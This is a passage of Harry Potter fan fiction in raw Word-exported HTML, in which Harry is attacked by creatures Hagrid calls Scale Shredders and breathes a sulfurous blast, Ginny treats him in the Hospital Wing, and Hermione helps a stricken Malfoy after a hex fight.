copy it as you walk.&quot; She\nturned to Harry. &quot;Go on ahead and tell Hagrid we\'ll be a little\nlate?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll just go with you,&quot; Harry started, seeing\nRon\'s pleading face. &quot;Class won\'t start for anotherrrrrr&#8230;.&quot; He looked\nat Hermione. She had the \' you better do what I say, Mister Man!\' look again.\n&quot;Like I was saying,&quot; He picked up again smoothly. &quot;I\'ll just\ntell ol\' Hagrid you two will be a little late.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When Hermione turned to Ron, he apologized by giving him a\nsympathetic look. &quot;Okay, Ron,&quot; Hermione started, dragging him back\nthe way they had just come. &quot;Let\'s go.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Wednesday was one of Harry\'s favourite days of the week.\nClasses started an hour later than usual, and he had a rather nice schedule.\nCare of Magical Creatures at a very reasonable time of nine, followed by\nHerbology at eleven.&nbsp; He topped off his\nday with a Divination at two.&nbsp; All in\nall, he thought his Wednesday schedule was quite slack indeed. The only\ndownfall was double potions on Friday.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seeing Hagrid\'s hut, he walked briskly up to it and knocked.\nHermione was right.&nbsp; It <i style="mso-bidi-font-style:normal">was</i> rather cold out today. In fact, the\nleaves were already mostly fallen. \'<i style="mso-bidi-font-style:normal">Where\ndid the time go?</i>\' Harry asked himself awkwardly. \'<i style="mso-bidi-font-style:\nnormal">Already November? I mean, come </i>on!\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid opened the door and beamed down at Harry. &quot;\'Allo\nthere \'Arry!&quot; He greeted warmly. &quot;Come \'n, come \'n.&quot; He motioned\nfor him to enter with a large sweep of his hand. &quot;A bit early, you\nare.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah,&quot; Harry agreed, walking over to the fire.\n&quot;Slack day, you know. Sorry I haven&#8217;t came by much lately. I don\'t know\nwhere the time goes. I feel like I just got here.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s be \'cause it be yer last year, Harry.&quot;\nHagrid told him with a softness in his voice. &quot;Gosh, I\'ll miss ye when yer\ngone! An Ron and little \'Ermione too!&quot; He looked like he was about to tear\nup at any moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey, hey,&quot; Harry thought fast, not wanting to see\nhis friend get all emotional on him. &quot;We\'ll be around. I was thinking of\ntaking over Defense class, or maybe the dueling club! And, and, Hermione is great\nat charms! Maybe she\'ll want a teacher&#8217;s job as well!&quot; This seemed to\ncheer up the giant somewhat. &quot;Tell me about the new animals you mentioned\nin class last time?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That did the trick. &quot;Yes, yes, Harry you\'ll love these\nthings!&quot; Instantly he was a happy man again, once more regaining the\ntwinkle in his eye. &quot;Scale Shredders they are!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Scale Shredders&#8230;&quot; For some reason Harry didn\'t\nlike the sound of that. Something deep inside of him told him not to mess with\nthem. Suppressing the thought, he spoke. &quot;Hermione and Ron might be a\nlittle late today; they had to run back to the common room for something.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Jus\' as well.&quot; Hagrid spoke, walking over to the\ndoor. &quot;We have time, would ye be wantin\' ta see the little things \'fore\nclass, Harry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He swallowed a lump in his throat. &quot;Are they\ndangerous?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;To dragons, yes.&quot; He nodded, clapping him on the\nback and ushering him out the door. &quot;But to human folk like us, they are\ngreat pets!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He shuddered. He knew all too well what \'great pets\' to\nHagrid meant. Usually it meant lots of burns, cuts, and bone mending for the\nrest of the class. Not being one to break his friend\'s heart by voicing his\nthoughts, he walked by the half-giant to the fenced off area. He hesitated only\nfor a second when Hagrid opened the gate to the pen, and followed him\ncarefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;There they be.&quot; Hagrid pointed at two things a\nfew yards off. They looked like a cross between a worm and a scorpion. It had a\nweird looking neck and lots of teeth. Long teeth. Sharp teeth. &quot;Oh, they\nlook dangerous.&quot; Hagrid went on when Harry stopped cold in his tracks\nafter seeing them. &quot;But they would never attack a \'uman.&quot; Harry took\na step back when one eyed him. Hagrid went on, not seeing this. &quot;They\'re\nused ta skin dragons after they done passed.&quot; He explained. &#8220;So thar\nscales \'cn be used to make things.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry took another step back, suddenly scared for a reason\nhe couldn\'t quite explain. Hagrid still continued to explain how a group of\nseven could take out a fully-grown and powerful dragon in a matter of minuets.\nThey were used to keep dragons in check if they got a little too rowdy. The\nScale Shredder started moving toward them, using their pointed legs and making\nsmall holes in the ground as he did so. Harry\'s mind kept repeating that they\ndidn\'t hurt humans, but the look in the small eyes of the beast told him\notherwise.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">Run!</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jumped to the side as the Shredder leapt at him. He\nrolled three times before regaining his footing. Then, before he could react,\nthe second Scale Shredder lunged at him and toppled him right back over.\n&quot;Hagrid!&quot; Harry shouted, trying to keep the gnashing teeth from\nbiting off his head. &quot;HAGRID!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But Hagrid was too busy wrestling the first Shredder to help\nhim. Harry heard the giant trying to calm down the animal, but to no avail. The\nShredder on top of Harry was now using its feet to stab Harry. Although not\ndeep, it still hurt like the dickens. Finally, after being hit just under his\narm, Harry\'s hand slipped and the teeth made a mad chomp to devour its prey.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That\'s when Harry screamed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The blast shook the ground under him. All he knew was he had\nto survive. Some deep instinct had told him what to do. He remembered learning\nhow to do it somewhere, but he didn\'t know at the current moment. The Scale\nShredder Hagrid was working with scampered off to the far end of the pen and\nthe one that was on top of Harry was no where to be seen. There was a long\ntrench in front of him that he didn\'t recall seeing a while ago. It went about\nten yards in front of him and must have been at least a foot deep. Also he was\nvery well aware of a horrid taste in his mouth that made him want to throw up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A pair of large strong hands helped him to his feet. He\ncould hear Hagrid ask if he was okay and what had happened, but when Harry tried\nto reply, he coughed violently and saw black smoke come from his lungs. After\ncontrolling his coughing fit, he steadily breathed out black smoke for almost\ntwenty seconds. Also the increasingly bad taste in his mouth continued to make\nhim want to hurl. &quot;Bes\' be getting\' you to tha Hospital Wing.&quot; Hagrid\nspoke, helping him walk. Harry kept his eyes on the ground and his arms wrapped\naround where he had been punctured. His blood was such a dark red it almost\nlooked black, and he could feel each individual part of his body that was hurt.\nAlso he knew that he would be okay, that such wounds wouldn\'t pose a threat to\nhim in anyway. But still, the taste in his mouth&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Neville, would ye tell tha class, that I be\nlate?&quot; Hagrid asked the boy as they passed, almost up to the castle. Harry\nheard him reply in a positive way and told Harry that he would go check up on\nhim after class.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry?&quot; Ginny asked, amazed. &quot;Are you\nokay?&quot; She took him from the big man and looked up at him inquisitively.\n&quot;Hagrid, what happened?&quot; She supported him by putting an arm over his\nwaist and helping him into a bed, quickly magicking off his shirt. &quot;And\nwhat is that <i style="mso-bidi-font-style:normal">smell</i>?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid was looking really guilty. &quot;A Scale Shredder got\na\'hold of \'im.&quot; He told her with worry. &quot;Will he be \'lright?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny looked over him. &quot;He\'ll be fine, it seems.&quot;\nShe said, sighing and placing a hand on her hip. &quot;Honestly Harry, you\'re\njust a magnet for trouble aren&#8217;t you?&quot; Harry grinned at her dumbly, still\nin some state of shock. &quot;Hagrid, I\'ll take care of him now. Don\'t you have\na class to teach?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Er, yeah, \'reckon I do. Be seein\' you Harry. I\'ll\nvisit after classes!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, yeah.&quot; Ginny started pushing him out the\ndoor, which was a rather humourous sight to behold. &quot;He\'ll be fine, don\'t\nworry.&quot; When the door was closed, Ginny turned back to Harry and started\nputting a few potions next to the bed. &quot;Hagrid and his crazy pets, huh\nHarry?&quot; She asked with a smile, cleaning his wounds and watching him\nwince. &quot;Oh don\'t be such a baby. You\'re just in shock; these will heal in\na few seconds after I\'m done. Why don\'t you tell me what happened?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his mouth to speak, but couched again. He\ngrimaced tightly and looked rather sick. &quot;You okay?&quot; She asked him,\nsniffing. &quot;What <i style="mso-bidi-font-style:normal">is</i> that\nsmell?&quot; She sniffed a few more times and then looked at Harry.\n&quot;Harry, exhale for me, please.&quot; He looked like he didn\'t want to, but\ngave up when he saw her eyes. Madam Pomfrey was teaching her well it seemed.\nWhen he exhaled, Ginny shot back and coughed. &quot;That smells like sulfur,\nHarry!&quot; she scolded him. &quot;What on <i style="mso-bidi-font-style:normal">earth\n</i>did you do to get <i style="mso-bidi-font-style:normal">sulfur</i> in your\nmouth!?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He gave a lame smile that looked more like an ironic smirk.\nGinny sighed. &quot;Anyway,&quot; She told him. &quot;Stay there, I\'m going to\nget the healing spells out so I can fix you up.&quot; She patted his head twice\nand left him after pulling the curtains closed around him for privacy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">You okay?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">\'I\'m fine, but what\nhappened?\'</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Remember in your\nbook? Dragon Breath?&quot;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">\'Yeah?\'</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&quot;Congratulations.</i>&quot;\nShe seemed quite proud. &quot;<i style="mso-bidi-font-style:normal">You did it.</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Ugh, I\'m gonna throw\nup.</i>\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;<i style="mso-bidi-font-style:normal">No you\'re not,\nnow hush. Honestly, You-</i>&quot; She stopped talking when he gulped hard.\n&quot;<i style="mso-bidi-font-style:normal">You really are gonna throw up\naren&#8217;t you?</i>&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid was treated to a surprise when he got back to where\nhis class was being held. There seemed to be a large group of people all\nstanding in one spot. That could only mean trouble. Usually the Slytherns and\nGryffindors stayed in a more or less group of their own. They only bunched up\nwhen there was either a fight, or someone hurt. Usually it was a combination of\nthe two.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Running up to the group, he made his way rather easily to\nthe center. Neville was on the ground, as was Goyle. Malfoy stood a few paces\naway with his wand out. Hermione was helping Neville to his feet. Taking it in,\nhe observed the people. Goyle had a hex on him that was slowly but surely\nmaking him get hairier by the moment. Neville seemed to be okay, and Malfoy was\nlooking a little queasy. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Malfoy! Goyle! What did you two do?&quot; He demanded,\ntaking in his teaching role.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Neville attacked me!&quot; Goyle shouted, pointing.\nMalfoy just shrugged and pocketed his wand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Malfoy, did you curse Neville?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then why is Hermione helping him up with you having\nyour wand out?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Actually&#8230;&quot; Neville said, drawing attention.\n&quot;Malfoy hexed Goyle.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid looked utterly perplexed. He gave Hermione a look as\nif to ask for confirmation. When she nodded, he shook his head slowly.\n&quot;Okay then. Explain.&quot; He said after a while. Neville told him he had\ntold everyone that Hagrid was going to be a little late. When Goyle tried to\nclimb the fence to get into the pen with the animal (Hagrid quickly told him it\nwas a Scale Shredder), Neville pulled him back. Goyle took out his wand and\nshot something. Malfoy pushed him down and batted the curse and sent one back\nat him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well ain\'t this sumthin\'.&quot; Hagrid mused.\n&quot;Goyle, go to the Hospital wing and get the hex lifted. You okay\nNeville?&quot; When he nodded, he looked at Malfoy. He knew that his best\nfriends hated the boy, but he still did something honourable. &quot;And\nyou?&quot; Malfoy nodded, but started to look a little hot. He was starting to\nsweat lightly. &quot;Good.&quot; Hagrid nodded and clapped his hands.\n&quot;Today, we\'ll be looking at Scale Shredders! I had two, but one&#8230; well,\nlet\'s just say there\'s only one now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The class all gave questioning looks to each other and\nworried glances at the trench that still radiated magical power.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny hummed to herself as she went to check up on Harry. It\nhad been only a few minutes since she had treated him, but since there was\nnobody else in the Wing at the current moment, and Madam Pomfrey was away, she\nhad time to kill. Reaching his bed, she reached to the curtains to pull them\nback when she heard Harry\'s voice.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Cecilia,&quot; Harry said in a whisper. &quot;Can\'t\nyou get this taste from my mouth?&quot; There was a pause. When Ginny was sure\nshe had imagined it, Harry spoke again. &quot;It\'s not funny, it taste <i style="mso-bidi-font-style:normal">horrid</i>.&quot; Ginny peaked her head in\nthrough the curtains. Harry was talking to the necklace she had given him.\n&quot;But still, it\'s&#8230; Ginny?&quot; He looked at her. &quot;Well, I\'ll be, you <i style="mso-bidi-font-style:normal">are</i> watching me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny blushed a little from being caught. &quot;Sorry, I\njust came to check on you. All healed?&quot; Harry nodded, tapping his chest to\nprove it. &quot;Good. Well, I think you\'ve had enough fun with Hagrid today.\nI\'ll let you stay here until next period, but then you\'ll have to go.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What about you?&quot; Harry asked, blinking.\n&quot;What do you mean \'let me go\'?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny beamed with pride. &quot;I\'m \'working\' here now.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Eh?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny smiled at her confused friend. &quot;I talked\nprofessor Dumbledore into letting work under Madam Pomfrey for school credit.\nNot only am I learning about this, but I\'m also considered \'honourary staff\'!\nIsn\'t that the neatest?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head. &quot;Only you would turn out liking\nsomething like this&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She humphed at him and crossed her arms. &quot;And what does\n<i style="mso-bidi-font-style:normal">that</i> supposed to mean?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smirked. &quot;Nothing, nothing&#8230; Anyway&#8230;&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Anyway&#8230;&quot; Suddenly they realized they didn\'t\nreally have much to talk about. They were saved from their awkward silence\nlater by Goyle, who burst in through the door. &quot;I guess I better help\nhim&#8230;&quot; Ginny sighed and got up from the stool she had just sat on by his\nbed. &quot;Bye.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah, bye.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy took a small step back to catch his balance. His\nbreath was harsh and rigid, making it hard to breath. His skin burned like fire\nand his vision was getting blurry. Hagrid&#8217;s voice seemed to fade out as black\ndots flashed across his vision. Suddenly it felt as if sand was running all\nover his body, making him feel light headed. Somewhere in his mind, he was\naware of a voice telling him his blood was moving erratically. He was informed\nof what spell was on him, what it did, and that he would be in serious trouble\nif he didn&#8217;t get it lifted. And soon.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked over at Malfoy and had to bite back a gasp.\nHe had pulled up his hood on his robe, covering his face and only leaving a\nlittle visible. He was incredibly red and his skin was flaming in rash. Letting\nher good nature overrule the fact that Malfoy was an enemy to her, she walked\nover to him and asked the question that had been bugging her for a little\nwhile. &#8220;Hey, you okay?&#8221; She asked it softly, so nobody could over hear her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy didn&#8217;t answer. He simply stood, shoulders heaving and\nbreathing so hard she thought he might keel over at any given moment. &#8220;Malfoy?&#8221;\nShe tried again, putting a hand on his shoulder to get his attention. When she\nconnected, he took a sharp intake of air through his nose and fell to the side.\nActing quickly, she grabbed him to keep the boy from falling on top of her and\ntaking her down with him. She found her arm over his shoulders and his around\nher waist. It was slightly uncomfortable, so she asked him again. &#8220;What&#8217;s\nwrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;C-can&#8217;t b-breath&#8230;&#8221; He rasped out, hood falling back to\nreveal him completely covered in a deathly looking rash. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione didn&#8217;t like the Slythern, but he <i style="mso-bidi-font-style:normal">had</i> saved Neville for some reason, and\nhe <i style="mso-bidi-font-style:normal">was</i> on her dueling team. Deciding\nshe owed him one for at least helping her friend, she raised her hand.\n&#8220;Hagrid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid paused his talking to look over at her. &#8220;A question,\n&#8216;Ermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um, I&#8217;m not feeling well,&#8221; She said timidly. &#8220;Might I go to\nthe Hospital wing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hagrid looked at her oddly, but caught the hint. She never\nskipped class, so she must have a good reason. Deciding to let her go and ask\nfor an explanation later, he nodded. &#8220;Be sure to get the notes you missed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221; She said as if it was the most commonly known\nknowledge on the planet. &#8220;Malfoy, aren&#8217;t you going to check on your friend?&#8221;\nShe didn&#8217;t let him answer, and helped him away while trying to make it look\nlike she wasn&#8217;t.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s the <i style="mso-bidi-font-style:normal">deal?&#8221;</i>\nShe asked him while almost dragging him with her to the hospital wing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy looked up at her, but she suddenly found herself\nlooking into the clearest crystal blue eyes she had ever seen before. On top of\nthat, they almost looked like they were glowing. &#8220;Thank you.&#8221; He said in a\nhaunting tone. His voice was almost&#8230; feminine. &#8220;Thanks for taking care of him.\nHe&#8217;s sorry, but won&#8217;t admit it. He also says &#8216;thanks&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;<i style="mso-bidi-font-style:normal">Wait a minute,</i> &#180;\nHermione thought, looking at him, but found his head sagging again and facing\nthe ground. &#8216;<i style="mso-bidi-font-style:normal">Is Malfoy referring to\nhimself in the second person? This idiot is more trouble than what it&#8217;s worth.&#8217;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 